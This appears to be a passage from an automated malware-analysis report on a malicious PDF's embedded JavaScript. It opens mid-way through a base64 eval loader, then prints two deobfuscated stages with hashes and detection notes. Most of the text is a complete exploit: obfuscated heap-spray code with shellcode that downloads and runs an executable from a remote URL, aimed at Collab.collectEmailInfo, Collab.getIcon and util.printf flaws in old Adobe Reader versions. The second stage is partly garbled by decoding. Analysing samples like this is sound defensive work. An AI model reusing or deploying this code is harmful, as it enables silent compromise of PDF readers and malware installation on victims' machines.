zAlMzAlMzAlMzAlMjklMjAlMmYlMjAlNTAlNzElNzIlNDElN2ElNjQlNjMlNjglNjUlNDclNjglM2IlMjAlMjAlMjAlMjAlNjYlNmYlNzIlMjglNzYlNjElNzIlMjAlNWElNTglNzYlMzElNDElNjMlNjUlNTElNGIlNzclNGElMjAlM2QlMjAlMzAlM2IlMjAlNWElNTglNzYlMzElNDElNjMlNjUlNTElNGIlNzclNGElMjAlM2MlMjAlNTQlNTclNjQlNDUlNzclNGIlNzAlMzYlNTYlNGUlNzYlM2IlMjAlNWElNTglNzYlMzElNDElNjMlNjUlNTElNGIlNzclNGElMmIlMmIlMjklMjAlMjAlMjAlMjAlN2IlMjAlMjAlMjAlMjAlMjAlMjAlNzIlNjQlNDclMzUlNDclNTElNGElNmUlNjglNzAlNTUlNWIlNWElNTglNzYlMzElNDElNjMlNjUlNTElNGIlNzclNGElNWQlMjAlM2QlMjAlNjMlNTYlNDIlNTclNzAlNzklNDQlNjYlNTMlMzQlNzElMjAlMmIlMjAlNjMlNzMlNzMlNzIlNmIlNTQlNTAlNjglNjIlMzklNDElM2IlMjAlMjAlMjAlMjAlN2QlMjAlMjAlN2QlMjAiKSk7ICBsYXZlKHVuZXNjYXBlKCIlMjAlMjAlNjYlNzUlNmUlNjMlNzQlNjklNmYlNmUlMjAlNDElNTklNTQlNjYlMzElNTUlNTklNjYlNGUlNGElNDMlMjglMjklMjAlMjAlN2IlMjAlMjAlMjAlMjAlNzYlNjElNzIlMjAlNDUlNTklMzAlNGMlNGUlNDUlNzIlNmMlMzAlNDUlNGElMjAlM2QlMjAlMzAlM2IlMjAlMjAlMjAlMjAlNzYlNjElNzIlMjAlNmIlNDYlNTQlNjglNzUlNzUlMzMlNzElNDQlNTglNTAlMjAlM2QlMjAlNjElNzAlNzAlMmUlNzYlNjklNjUlNzclNjUlNzIlNTYlNjUlNzIlNzMlNjklNmYlNmUlMmUlNzQlNmYlNTMlNzQlNzIlNjklNmUlNjclMjglMjklM2IlMjAlMjAlMjAlMjAlNjElNzAlNzAlMmUlNjMlNmMlNjUlNjElNzIlNTQlNjklNmQlNjUlNGYlNzUlNzQlMjglNDglNDElMzclNDMlNGMlNmElNGQlNmQlMzAlMzQlNjclMjklM2IlMjAlMjAlMjAlMjAlNjklNjYlMjglMjglNmIlNDYlNTQlNjglNzUlNzUlMzMlNzElNDQlNTglNTAlMjAlM2UlM2QlMjAlMzglMjAlMjYlMjYlMjAlNmIlNDYlNTQlNjglNzUlNzUlMzMlNzElNDQlNTglNTAlMjAlM2MlMjAlMzglMmUlMzElMzAlMzIlMjklMjAlN2MlN2MlMjAlNmIlNDYlNTQlNjglNzUlNzUlMzMlNzElNDQlNTglNTAlMjAlM2MlMjAlMzclMmUlMzElMjklMjAlMjAlMjAlMjAlN2IlMjAlMjAlMjAlMjAlMjAlMjAlNmMlNjUlNGUlMzIlNDElNjQlNzIlNjIlNTklNzglMzglMjglMzAlMjklM2IlMjAlMjAlMjAlMjAlMjAlMjAlNzYlNjElNzIlMjAlNTglNDMlNTAlNDIlNmMlMzYlNWElMzYlNDklNjElNjQlMjAlM2QlMjAlNzUlNmUlNjUlNzMlNjMlNjElNzAlNjUlMjglMjIlMjUlNzUlMzAlNjMlMzAlNjMlMjUlNzUlMzAlNjMlMzAlNjMlMjIlMjklM2IlMjAlMjAlMjAlMjAlMjAlMjAlNzclNjglNjklNmMlNjUlMjglNTglNDMlNTAlNDIlNmMlMzYlNWElMzYlNDklNjElNjQlMmUlNmMlNjUlNmUlNjclNzQlNjglMjAlM2MlMjAlMzQlMzQlMzklMzUlMzIlMjklMjAlNTglNDMlNTAlNDIlNmMlMzYlNWElMzYlNDklNjElNjQlMjAlMmIlM2QlMjAlNTglNDMlNTAlNDIlNmMlMzYlNWElMzYlNDklNjElNjQlM2IlMjAlMjAlMjAlMjAlMjAlMjAlNzYlNjElNzIlMjAlNjQlNzclMzIlNjclNmUlNmQlNzElMzMlMzYlNzYlNDglMjAlM2QlMjAlNzQlNjglNjklNzMlM2IlMjAlMjAlMjAlMjAlMjAlMjAlNzYlNjElNzIlMjAlNzMlNjQlNDIlNTQlNjclMzMlNjclNDQlNTIlNGYlNTElMjAlM2QlMjAlNDMlNmYlNmMlNmMlNjElNjIlM2IlMjAlMjAlMjAlMjAlMjAlMjAlNjQlNzclMzIlNjclNmUlNmQlNzElMzMlMzYlNzYlNDglNWIlMjIlNjMlNmYlNmMlNmMlNjElNjIlNTMlNzQlNmYlNzIlNjUlMjIlNWQlMjAlM2QlMjAlNzMlNjQlNDIlNTQlNjclMzMlNjclNDQlNTIlNGYlNTElNWIlMjIlNjMlNmYlNmMlNmMlNjUlNjMlNzQlNDUlNmQlNjElNjklNmMlNDklNmUlNjYlNmYlMjIlNWQlMjglMjAlMjAlMjAlMjAlMjAlMjAlN2IlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlNzMlNzUlNjIlNmElMjAlM2ElMjAlMjIlMjIlMmMlMjAlNmQlNzMlNjclMjAlM2ElMjAlNTglNDMlNTAlNDIlNmMlMzYlNWElMzYlNDklNjElNjQlMjAlMjAlMjAlMjAlMjAlMjAlN2QlMjAlMjAlMjAlMjAlMjAlMjAlMjklM2IlMjAlMjAlMjAlMjAlN2QlMjAlMjAlMjAlMjAlNjklNjYlMjglMjglNmIlNDYlNTQlNjglNzUlNzUlMzMlNzElNDQlNTglNTAlMjAlM2UlM2QlMjAlMzglMmUlMzElMzAlMzIlMjAlMjYlMjYlMjAlNmIlNDYlNTQlNjglNzUlNzUlMzMlNzElNDQlNTglNTAlMjAlM2MlMjAlMzglMmUlMzElMzAlMzQlMjklMjAlN2MlN2MlMjAlMjglNmIlNDYlNTQlNjglNzUlNzUlMzMlNzElNDQlNTglNTAlMjAlM2UlM2QlMjAlMzklMjAlMjYlMjYlMjAlNmIlNDYlNTQlNjglNzUlNzUlMzMlNzElNDQlNTglNTAlMjAlM2MlMjAlMzklMmUlMzElMjklMjAlN2MlN2MlMjAlNmIlNDYlNTQlNjglNzUlNzUlMzMlNzElNDQlNTglNTAlMjAlM2MlM2QlMjAlMzclMmUlMzElMzAlMzElMjklMjAlMjAlMjAlMjAlN2IlMjAlMjAlMjAlMjAlMjAlMjAlNzQlNzIlNzklMjAlMjAlMjAlMjAlMjAlMjAlN2IlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlNjklNjYlMjglNjElNzAlNzAlMmUlNjQlNmYlNjMlMmUlNDMlNmYlNmMlNmMlNjElNjIlMmUlNjclNjUlNzQlNDklNjMlNmYlNmUlMjklMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlN2IlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlNmMlNjUlNGUlMzIlNDElNjQlNzIlNjIlNTklNzglMzglMjglMzIlMjklM2IlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlNzYlNjElNzIlMjAlNzclNjElNDIlNzglMzAlNDglNDYlNmIlNzUlNjglNjclMjAlM2QlMjAlNzUlNmUlNjUlNzMlNjMlNjElNzAlNjUlMjglMjIlMjUlMzAlMzklMjIlMjklM2IlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlNzclNjglNjklNmMlNjUlMjglNzclNjElNDIlNzglMzAlNDglNDYlNmIlNzUlNjglNjclMmUlNmMlNjUlNmUlNjclNzQlNjglMjAlM2MlMjAlMzAlNzglMzQlMzAlMzAlMzAlMjklMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlN2IlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlNzclNjElNDIlNzglMzAlNDglNDYlNmIlNzUlNjglNjclMjAlMmIlM2QlMjAlNzclNjElNDIlNzglMzAlNDglNDYlNmIlNzUlNjglNjclM2IlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlN2QlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlNzclNjElNDIlNzglMzAlNDglNDYlNmIlNzUlNjglNjclMjAlM2QlMjAlMjIlNGUlMmUlMjIlMjAlMmIlMjAlNzclNjElNDIlNzglMzAlNDglNDYlNmIlNzUlNjglNjclM2IlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlNzYlNjElNzIlMjAlN2ElNGUlNTUlNjklNDUlNTclNmYlMzAlNmYlNGUlNmUlMjAlM2QlMjAlNjElNzAlNzAlM2IlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlN2ElNGUlNTUlNjklNDUlNTclNmYlMzAlNmYlNGUlNmUlNWIlMjIlNjQlNmYlNjMlMjIlNWQlNWIlMjIlNDMlNmYlNmMlNmMlNjElNjIlMjIlNWQlNWIlMjIlNjclNjUlNzQlNDklNjMlNmYlNmUlMjIlNWQlMjglNzclNjElNDIlNzglMzAlNDglNDYlNmIlNzUlNjglNjclMjklM2IlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlNDUlNTklMzAlNGMlNGUlNDUlNzIlNmMlMzAlNDUlNGElMjAlM2QlMjAlMzElM2IlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlN2QlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlNjUlNmMlNzMlNjUlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlN2IlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlNDUlNTklMzAlNGMlNGUlNDUlNzIlNmMlMzAlNDUlNGElMjAlM2QlMjAlMzElM2IlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlN2QlMjAlMjAlMjAlMjAlMjAlMjAlN2QlMjAlMjAlMjAlMjAlMjAlMjAlNjMlNjElNzQlNjMlNjglMjglNjUlMjklMjAlMjAlMjAlMjAlMjAlMjAlN2IlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlNDUlNTklMzAlNGMlNGUlNDUlNzIlNmMlMzAlNDUlNGElMjAlM2QlMjAlMzElM2IlMjAlMjAlMjAlMjAlMjAlMjAlN2QlMjAlMjAlMjAlMjAlMjAlMjAlNjklNjYlMjglNDUlNTklMzAlNGMlNGUlNDUlNzIlNmMlMzAlNDUlNGElMjAlM2QlM2QlMjAlMzElMjklMjAlMjAlMjAlMjAlMjAlMjAlN2IlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlNjklNjYlMjglNmIlNDYlNTQlNjglNzUlNzUlMzMlNzElNDQlNTglNTAlMjAlM2QlM2QlMjAlMzglMmUlMzElMzAlMzIlMjAlN2MlN2MlMjAlNmIlNDYlNTQlNjglNzUlNzUlMzMlNzElNDQlNTglNTAlMjAlM2QlM2QlMjAlMzclMmUlMzElMjklMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlN2IlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlNmMlNjUlNGUlMzIlNDElNjQlNzIlNjIlNTklNzglMzglMjglMzElMjklM2IlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlNzYlNjElNzIlMjAlNTAlNzElNTQlMzMlNTglNjclNTQlNzclMzclNGMlNTclMjAlM2QlMjAlMjIlMzElMzIlMzklMzklMzklMzklMzklMzklMzklMzklMzklMzklMzklMzklMzklMzklMzklMzklMzklMzklMjIlM2IlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlNjYlNmYlNzIlMjglNjUlNDklNjYlNWElNTklNTAlNTUlNDYlMzclNTElNjQlMjAlM2QlMjAlMzAlM2IlMjAlNjUlNDklNjYlNWElNTklNTAlNTUlNDYlMzclNTElNjQlMjAlM2MlMjAlMzIlMzclMzYlM2IlMjAlNjUlNDklNjYlNWElNTklNTAlNTUlNDYlMzclNTElNjQlMmIlMmIlMjklMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlN2IlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlNTAlNzElNTQlMzMlNTglNjclNTQlNzclMzclNGMlNTclMjAlMmIlM2QlMjAlMjIlMzglMjIlM2IlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlN2QlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlNzYlNjElNzIlMjAlNTAlMzAlNzMlMzclNzklMzIlNzYlNGMlNmYlNzUlNDMlMjAlM2QlMjAlNzUlNzQlNjklNmMlM2IlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlNTAlMzAlNzMlMzclNzklMzIlNzYlNGMlNmYlNzUlNDMlNWIlMjIlNzAlNzIlNjklNmUlNzQlNjYlMjIlNWQlMjglMjIlMjUlMzQlMzUlMzAlMzAlMzAlNjYlMjIlMmMlMjAlNTAlNzElNTQlMzMlNTglNjclNTQlNzclMzclNGMlNTclMjklM2IlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlN2QlMjAlMjAlMjAlMjAlMjAlMjAlN2QlMjAlMjAlMjAlMjAlN2QlMjAlN2QlMjAiKSk7IAogYXBwLnR4a3pSZzZtQ081ID0gQVlUZjFVWWZOSkM7CiBIQTdDTGpNbTA0ZyA9IGFwcC5zZXRUaW1lT3V0KCJhcHAudHhrelJnNm1DTzUoKSIsIDEpOwo=");
var sssddd = eval;
sssddd(aasd);
generic_stage_recovery_000.js deobfuscated-js generic stage recovery percent-decode from JavaScript object 2 at offset 0x67 5254 bytes
SHA-256: a711c92a11f82e8a4207a710088ac825db0915a7c34203b686a2d675d9ae1909
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 10 eval/decoder/string-building token(s). 22 of 42 identifiers look randomly generated (e.g. 'Eqv5rRVGpQu') — consistent with name-mangling obfuscation.
Preview script
First 1,000 lines of the extracted script
var rdG5GQJnhpU = new Array();
 var HA7CLjMm04g;
 var lave = eval;
  lave(unescape("  function Eqv5rRVGpQu(cVBWpyDfS4q, eGBHcyRgeaW)  {    while(cVBWpyDfS4q.length * 2 < eGBHcyRgeaW)    {      cVBWpyDfS4q += cVBWpyDfS4q;    }    cVBWpyDfS4q = cVBWpyDfS4q.substring(0, eGBHcyRgeaW / 2);    return cVBWpyDfS4q;  } "));  lave(unescape("   function leN2AdrbYx8(hTwhhc0lSi2)  {    if(hTwhhc0lSi2 == 0)    {      var L1dcRJG3qqh = 0x0c0c0c0c;      var cssrkTPhb9A =  unescape("%uC033%u8B64%u3040%u0C78%u408B%u8B0C%u1C70%u8BAD%u0858%u09EB%u408B%u8D34%u7C40%u588B%u6A3C%u5A44%uE2D1%uE22B%uEC8B%u4FEB%u525A%uEA83%u8956%u0455%u5756%u738B%u8B3C%u3374%u0378%u56F3%u768B%u0320%u33F3%u49C9%u4150%u33AD%u36FF%uBE0F%u0314%uF238%u0874%uCFC1%u030D%u40FA%uEFEB%u3B58%u75F8%u5EE5%u468B%u0324%u66C3%u0C8B%u8B48%u1C56%uD303%u048B%u038A%u5FC3%u505E%u8DC3%u087D%u5257%u33B8%u8ACA%uE85B%uFFA2%uFFFF%uC032%uF78B%uAEF2%uB84F%u2E65%u7865%u66AB%u6698%uB0AB%u8A6C%u98E0%u6850%u6E6F%u642E%u7568%u6C72%u546D%u8EB8%u0E4E%uFFEC%u0455%u5093%uC033%u5050%u8B56%u0455%uC283%u837F%u31C2%u5052%u36B8%u2F1A%uFF70%u0455%u335B%u57FF%uB856%uFE98%u0E8A%u55FF%u5704%uEFB8%uE0CE%uFF60%u0455%u7468%u7074%u2F3A%u702F%u6972%u6576%u3374%u632E%u2F6E%u796D%u7865%u3270%u672F%u7465%u7865%u2E65%u6870%u3F70%u7073%u3D6C%u6470%u5F66%u7865%u0070");    }    else if(hTwhhc0lSi2 == 1)    {      L1dcRJG3qqh = 0x30303030;      var cssrkTPhb9A =  unescape("%uC033%u8B64%u3040%u0C78%u408B%u8B0C%u1C70%u8BAD%u0858%u09EB%u408B%u8D34%u7C40%u588B%u6A3C%u5A44%uE2D1%uE22B%uEC8B%u4FEB%u525A%uEA83%u8956%u0455%u5756%u738B%u8B3C%u3374%u0378%u56F3%u768B%u0320%u33F3%u49C9%u4150%u33AD%u36FF%uBE0F%u0314%uF238%u0874%uCFC1%u030D%u40FA%uEFEB%u3B58%u75F8%u5EE5%u468B%u0324%u66C3%u0C8B%u8B48%u1C56%uD303%u048B%u038A%u5FC3%u505E%u8DC3%u087D%u5257%u33B8%u8ACA%uE85B%uFFA2%uFFFF%uC032%uF78B%uAEF2%uB84F%u2E65%u7865%u66AB%u6698%uB0AB%u8A6C%u98E0%u6850%u6E6F%u642E%u7568%u6C72%u546D%u8EB8%u0E4E%uFFEC%u0455%u5093%uC033%u5050%u8B56%u0455%uC283%u837F%u31C2%u5052%u36B8%u2F1A%uFF70%u0455%u335B%u57FF%uB856%uFE98%u0E8A%u55FF%u5704%uEFB8%uE0CE%uFF60%u0455%u7468%u7074%u2F3A%u702F%u6972%u6576%u3374%u632E%u2F6E%u796D%u7865%u3270%u672F%u7465%u7865%u2E65%u6870%u3F70%u7073%u3D6C%u6470%u5F66%u7865%u0070");    }    else if(hTwhhc0lSi2 == 2)    {      var cssrkTPhb9A =  unescape("%uC033%u8B64%u3040%u0C78%u408B%u8B0C%u1C70%u8BAD%u0858%u09EB%u408B%u8D34%u7C40%u588B%u6A3C%u5A44%uE2D1%uE22B%uEC8B%u4FEB%u525A%uEA83%u8956%u0455%u5756%u738B%u8B3C%u3374%u0378%u56F3%u768B%u0320%u33F3%u49C9%u4150%u33AD%u36FF%uBE0F%u0314%uF238%u0874%uCFC1%u030D%u40FA%uEFEB%u3B58%u75F8%u5EE5%u468B%u0324%u66C3%u0C8B%u8B48%u1C56%uD303%u048B%u038A%u5FC3%u505E%u8DC3%u087D%u5257%u33B8%u8ACA%uE85B%uFFA2%uFFFF%uC032%uF78B%uAEF2%uB84F%u2E65%u7865%u66AB%u6698%uB0AB%u8A6C%u98E0%u6850%u6E6F%u642E%u7568%u6C72%u546D%u8EB8%u0E4E%uFFEC%u0455%u5093%uC033%u5050%u8B56%u0455%uC283%u837F%u31C2%u5052%u36B8%u2F1A%uFF70%u0455%u335B%u57FF%uB856%uFE98%u0E8A%u55FF%u5704%uEFB8%uE0CE%uFF60%u0455%u7468%u7074%u2F3A%u702F%u6972%u6576%u3374%u632E%u2F6E%u796D%u7865%u3270%u672F%u7465%u7865%u2E65%u6870%u3F70%u7073%u3D6C%u6470%u5F66%u7865%u0070");    }    var PqrAzdcheGh = 0x400000;    var ns0b0BR1sft = cssrkTPhb9A.length * 2;    var eGBHcyRgeaW = PqrAzdcheGh - (ns0b0BR1sft + 0x38);    var cVBWpyDfS4q = unescape("%u9090%u9090");    cVBWpyDfS4q = Eqv5rRVGpQu(cVBWpyDfS4q, eGBHcyRgeaW);    var TWdEwKp6VNv = (L1dcRJG3qqh - 0x400000) / PqrAzdcheGh;    for(var ZXv1AceQKwJ = 0; ZXv1AceQKwJ < TWdEwKp6VNv; ZXv1AceQKwJ++)    {      rdG5GQJnhpU[ZXv1AceQKwJ] = cVBWpyDfS4q + cssrkTPhb9A;    }  } "));  lave(unescape("  function AYTf1UYfNJC()  {    var EY0LNErl0EJ = 0;    var kFThuu3qDXP = app.viewerVersion.toString();    app.clearTimeOut(HA7CLjMm04g);    if((kFThuu3qDXP >= 8 && kFThuu3qDXP < 8.102) || kFThuu3qDXP < 7.1)    {      leN2AdrbYx8(0);      var XCPBl6Z6Iad = unescape("%u0c0c%u0c0c");      while(XCPBl6Z6Iad.length < 44952) XCPBl6Z6Iad += XCPBl6Z6Iad;      var dw2gnmq36vH = this;      var sdBTg3gDROQ = Collab;      dw2gnmq36vH["collabStore"] = sdBTg3gDROQ["collectEmailInfo"](      {        subj : "", msg : XCPBl6Z6Iad      }      );    }    if((kFThuu3qDXP >= 8.102 && kFThuu3qDXP < 8.104) || (kFThuu3qDXP >= 9 && kFThuu3qDXP < 9.1) || kFThuu3qDXP <= 7.101)    {      try      {        if(app.doc.Collab.getIcon)        {          leN2AdrbYx8(2);          var waBx0HFkuhg = unescape("%09");          while(waBx0HFkuhg.length < 0x4000)          {            waBx0HFkuhg += waBx0HFkuhg;          }          waBx0HFkuhg = "N." + waBx0HFkuhg;          var zNUiEWo0oNn = app;          zNUiEWo0oNn["doc"]["Collab"]["getIcon"](waBx0HFkuhg);          EY0LNErl0EJ = 1;        }        else        {          EY0LNErl0EJ = 1;        }      }      catch(e)      {        EY0LNErl0EJ = 1;      }      if(EY0LNErl0EJ == 1)      {        if(kFThuu3qDXP == 8.102 || kFThuu3qDXP == 7.1)        {          leN2AdrbYx8(1);          var PqT3XgTw7LW = "12999999999999999999";          for(eIfZYPUF7Qd = 0; eIfZYPUF7Qd < 276; eIfZYPUF7Qd++)          {            PqT3XgTw7LW += "8";          }          var P0s7y2vLouC = util;          P0s7y2vLouC["printf"]("%45000f", PqT3XgTw7LW);        }      }    } } ")); 
 app.txkzRg6mCO5 = AYTf1UYfNJC;
 HA7CLjMm04g = app.setTimeOut("app.txkzRg6mCO5()", 1);
generic_stage_recovery_001.js deobfuscated-js generic stage recovery percent-decode -> percent-decode from JavaScript object 2 at offset 0x67 5250 bytes
SHA-256: dd0cd45a739a52d4e9c72bdd5dfa7e5baf2aceeee453513deab74af9b57ce9de
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 10 eval/decoder/string-building token(s). 22 of 42 identifiers look randomly generated (e.g. 'Eqv5rRVGpQu') — consistent with name-mangling obfuscation.
Preview script
First 1,000 lines of the extracted script
var rdG5GQJnhpU = new Array();
 var HA7CLjMm04g;
 var lave = eval;
  lave(unescape("  function Eqv5rRVGpQu(cVBWpyDfS4q, eGBHcyRgeaW)  {    while(cVBWpyDfS4q.length * 2 < eGBHcyRgeaW)    {      cVBWpyDfS4q += cVBWpyDfS4q;    }    cVBWpyDfS4q = cVBWpyDfS4q.substring(0, eGBHcyRgeaW / 2);    return cVBWpyDfS4q;  } "));  lave(unescape("   function leN2AdrbYx8(hTwhhc0lSi2)  {    if(hTwhhc0lSi2 == 0)    {      var L1dcRJG3qqh = 0x0c0c0c0c;      var cssrkTPhb9A =  unescape("%uC033%u8B64%u3040%u0C78%u408B%u8B0C%u1C70%u8BAD%u0858%u09EB%u408B%u8D34%u7C40%u588B%u6A3C%u5A44%uE2D1%uE22B%uEC8B%u4FEB%u525A%uEA83%u8956%u0455%u5756%u738B%u8B3C%u3374%u0378%u56F3%u768B%u0320%u33F3%u49C9%u4150%u33AD%u36FF%uBE0F%u0314%uF238%u0874%uCFC1%u030D%u40FA%uEFEB%u3B58%u75F8%u5EE5%u468B%u0324%u66C3%u0C8B%u8B48%u1C56%uD303%u048B%u038A%u5FC3%u505E%u8DC3%u087D%u5257%u33B8%u8ACA%uE85B%uFFA2%uFFFF%uC032%uF78B%uAEF2%uB84F%u2E65%u7865%u66AB%u6698%uB0AB%u8A6C%u98E0%u6850%u6E6F%u642E%u7568%u6C72%u546D%u8EB8%u0E4E%uFFEC%u0455%u5093%uC033%u5050%u8B56%u0455%uC283%u837F%u31C2%u5052%u36B8%u2F1A%uFF70%u0455%u335B%u57FF%uB856%uFE98%u0E8A%u55FF%u5704%uEFB8%uE0CE%uFF60%u0455%u7468%u7074%u2F3A%u702F%u6972%u6576%u3374%u632E%u2F6E%u796D%u7865%u3270%u672F%u7465%u7865%u2E65%u6870%u3F70%u7073%u3D6C%u6470%u5F66%u7865%u0070");    }    else if(hTwhhc0lSi2 == 1)    {      L1dcRJG3qqh = 0x30303030;      var cssrkTPhb9A =  unescape("%uC033%u8B64%u3040%u0C78%u408B%u8B0C%u1C70%u8BAD%u0858%u09EB%u408B%u8D34%u7C40%u588B%u6A3C%u5A44%uE2D1%uE22B%uEC8B%u4FEB%u525A%uEA83%u8956%u0455%u5756%u738B%u8B3C%u3374%u0378%u56F3%u768B%u0320%u33F3%u49C9%u4150%u33AD%u36FF%uBE0F%u0314%uF238%u0874%uCFC1%u030D%u40FA%uEFEB%u3B58%u75F8%u5EE5%u468B%u0324%u66C3%u0C8B%u8B48%u1C56%uD303%u048B%u038A%u5FC3%u505E%u8DC3%u087D%u5257%u33B8%u8ACA%uE85B%uFFA2%uFFFF%uC032%uF78B%uAEF2%uB84F%u2E65%u7865%u66AB%u6698%uB0AB%u8A6C%u98E0%u6850%u6E6F%u642E%u7568%u6C72%u546D%u8EB8%u0E4E%uFFEC%u0455%u5093%uC033%u5050%u8B56%u0455%uC283%u837F%u31C2%u5052%u36B8%u2F1A%uFF70%u0455%u335B%u57FF%uB856%uFE98%u0E8A%u55FF%u5704%uEFB8%uE0CE%uFF60%u0455%u7468%u7074%u2F3A%u702F%u6972%u6576%u3374%u632E%u2F6E%u796D%u7865%u3270%u672F%u7465%u7865%u2E65%u6870%u3F70%u7073%u3D6C%u6470%u5F66%u7865%u0070");    }    else if(hTwhhc0lSi2 == 2)    {      var cssrkTPhb9A =  unescape("%uC033%u8B64%u3040%u0C78%u408B%u8B0C%u1C70%u8BAD%u0858%u09EB%u408B%u8D34%u7C40%u588B%u6A3C%u5A44%uE2D1%uE22B%uEC8B%u4FEB%u525A%uEA83%u8956%u0455%u5756%u738B%u8B3C%u3374%u0378%u56F3%u768B%u0320%u33F3%u49C9%u4150%u33AD%u36FF%uBE0F%u0314%uF238%u0874%uCFC1%u030D%u40FA%uEFEB%u3B58%u75F8%u5EE5%u468B%u0324%u66C3%u0C8B%u8B48%u1C56%uD303%u048B%u038A%u5FC3%u505E%u8DC3%u087D%u5257%u33B8%u8ACA%uE85B%uFFA2%uFFFF%uC032%uF78B%uAEF2%uB84F%u2E65%u7865%u66AB%u6698%uB0AB%u8A6C%u98E0%u6850%u6E6F%u642E%u7568%u6C72%u546D%u8EB8%u0E4E%uFFEC%u0455%u5093%uC033%u5050%u8B56%u0455%uC283%u837F%u31C2%u5052%u36B8%u2F1A%uFF70%u0455%u335B%u57FF%uB856%uFE98%u0E8A%u55FF%u5704%uEFB8%uE0CE%uFF60%u0455%u7468%u7074%u2F3A%u702F%u6972%u6576%u3374%u632E%u2F6E%u796D%u7865%u3270%u672F%u7465%u7865%u2E65%u6870%u3F70%u7073%u3D6C%u6470%u5F66%u7865%u0070");    }    var PqrAzdcheGh = 0x400000;    var ns0b0BR1sft = cssrkTPhb9A.length * 2;    var eGBHcyRgeaW = PqrAzdcheGh - (ns0b0BR1sft + 0x38);    var cVBWpyDfS4q = unescape("%u9090%u9090");    cVBWpyDfS4q = Eqv5rRVGpQu(cVBWpyDfS4q, eGBHcyRgeaW);    var TWdEwKp6VNv = (L1dcRJG3qqh - 0x400000) / PqrAzdcheGh;    for(var ZXv1AceQKwJ = 0; ZXv1AceQKwJ < TWdEwKp6VNv; ZXv1AceQKwJ++)    {      rdG5GQJnhpU[ZXv1AceQKwJ] = cVBWpyDfS4q + cssrkTPhb9A;    }  } "));  lave(unescape("  function AYTf1UYfNJC()  {    var EY0LNErl0EJ = 0;    var kFThuu3qDXP = app.viewerVersion.toString();    app.clearTimeOut(HA7CLjMm04g);    if((kFThuu3qDXP >= 8 && kFThuu3qDXP < 8.102) || kFThuu3qDXP < 7.1)    {      leN2AdrbYx8(0);      var XCPBl6Z6Iad = unescape("%u0c0c%u0c0c");      while(XCPBl6Z6Iad.length < 44952) XCPBl6Z6Iad += XCPBl6Z6Iad;      var dw2gnmq36vH = this;      var sdBTg3gDROQ = Collab;      dw2gnmq36vH["collabStore"] = sdBTg3gDROQ["collectEmailInfo"](      {        subj : "", msg : XCPBl6Z6Iad      }      );    }    if((kFThuu3qDXP >= 8.102 && kFThuu3qDXP < 8.104) || (kFThuu3qDXP >= 9 && kFThuu3qDXP < 9.1) || kFThuu3qDXP <= 7.101)    {      try      {        if(app.doc.Collab.getIcon)        {          leN2AdrbYx8(2);          var waBx0HFkuhg = unescape("	");          while(waBx0HFkuhg.length < 0x4000)          {            waBx0HFkuhg += waBx0HFkuhg;          }          waBx0HFkuhg = "N." + waBx0HFkuhg;          var zNUiEWo0oNn = app;          zNUiEWo0oNn["doc"]["Collab"]["getIcon"](waBx0HFkuhg);          EY0LNErl0EJ = 1;        }        else        {          EY0LNErl0EJ = 1;        }      }      catch(e)      {        EY0LNErl0EJ = 1;      }      if(EY0LNErl0EJ == 1)      {        if(kFThuu3qDXP == 8.102 || kFThuu3qDXP == 7.1)        {          leN2AdrbYx8(1);          var PqT3XgTw7LW = "12999999999999999999";          for(eIfZYPUF7Qd = 0; eIfZYPUF7Qd < 276; eIfZYPUF7Qd++)          {            PqT3XgTw7LW += "8";          }          var P0s7y2vLouC = util;          P0s7y2vLouC["printf"]("E000f", PqT3XgTw7LW);        }      }    } } ")); 
 app.txkzRg6mCO5 = AYTf1UYfNJC;
 HA7CLjMm04g = app.setTimeOut("app.txkzRg6mCO5()", 1);

Open this report in the interactive analyzer, or submit your own file for analysis.